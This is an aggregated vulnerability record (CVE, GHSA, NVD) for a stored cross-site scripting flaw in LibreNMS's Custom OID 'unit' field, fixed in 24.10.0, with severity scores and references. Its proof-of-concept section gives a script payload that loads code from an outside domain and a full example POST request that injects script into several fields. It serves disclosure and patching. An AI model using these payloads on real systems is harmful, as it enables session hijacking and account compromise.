{"id":"CVE-2024-51497","aliases":["CVE-2024-51497","GHSA-gv4m-f6fx-859x"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/print-customoid.php","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Custom OID\" tab of a device allows authenticated users to inject arbitrary JavaScript through the \"unit\" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Custom OID\" tab of a device allows authenticated users to inject arbitrary JavaScript through the \"unit\" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions. This vulnerability is fixed in 24.10.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Custom OID\" tab of a device allows authenticated users to inject arbitrary JavaScript through the \"unit\" parameter when creating a new OID. This vulnerability can lead to the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.\n\n### Details\nWhen creating a new OID for a device, an attacker can inject an XSS payload into the \"unit\" parameter. This payload is reflected in the \"Unit\" column of the table displayed in the \"Custom OID\" tab of the device.\n\nThe payload used to exploit this vulnerability is:\n```<script/src=//15.rs>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe vulnerability is due to improper sanitization of the \"unit\" parameter before rendering it in the HTML output. The sink is as follows:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/print-customoid.php#L90\n\n### PoC\n1. Create a new OID for a device using the following payload in the \"unit\" parameter:\n```<script/src=//15.rs>```\n2. Save the OID.\n3. Navigate to the \"Custom OID\" tab of the device.\n4. Observe that the injected script executes in the \"Unit\" column of the table.\n\nExample Request:\n```http\nPOST /ajax_form.php HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-CSRF-TOKEN: <your_token>\nX-Requested-With: XMLHttpRequest\nCookie: <your_cookie>\n\ndevice_id=15&device_name=test4'&ccustomoid_id=2&type=customoid&action=save&name=test1<script>{onerror=alert}throw+'OID'</script>&oid=test2<script>{onerror=alert}throw+'OID'</script>&unit=<script/src=//15.rs>&divisor=1&multiplier=1&user_func=test4<script>{onerror=alert}throw+'OID'</script>&limit=0&limit_low=0&limit_warn=0&limit_low_warn=0&passed=on\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to inject and execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Custom OID\" tab of the device. This could lead to the compromise of user accounts and unauthorized actions being performed on their behalf.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de cross site scripting (XSS) almacenado en la pestaña \"OID personalizado\" de un dispositivo permite a los usuarios autenticados inyectar código JavaScript arbitrario a través del parámetro \"unidad\" al crear un nuevo OID. Esta vulnerabilidad puede provocar la ejecución de código malicioso en el contexto de las sesiones de otros usuarios, comprometiendo sus cuentas y permitiendo acciones no autorizadas. Esta vulnerabilidad se solucionó en la versión 24.10.0.","source":"nvd"}],"published":"2024-11-15T15:46:32.000Z","modified":"2026-06-17T08:05:48.493Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.10.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.10.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-gv4m-f6fx-859x","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/42b156e42a3811c23758772ce8c63d4d3eaba59b","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51497","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-15T17:16:10.807Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-51497","url":"https://www.cve.org/CVERecord?id=CVE-2024-51497","licence":"CVE Terms of Use","modified":"2024-11-15T17:17:08.505Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gv4m-f6fx-859x","url":"https://github.com/advisories/GHSA-gv4m-f6fx-859x","licence":"CC-BY-4.0","modified":"2024-11-15T21:09:02.814Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-51497","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51497","licence":"Public domain","modified":"2026-06-17T08:05:48.493Z"}],"updatedAt":"2026-11-25T22:58:48.307Z","epss":{"score":0.00432,"percentile":0.39282,"date":"2026-12-01T12:00:22.000Z"}}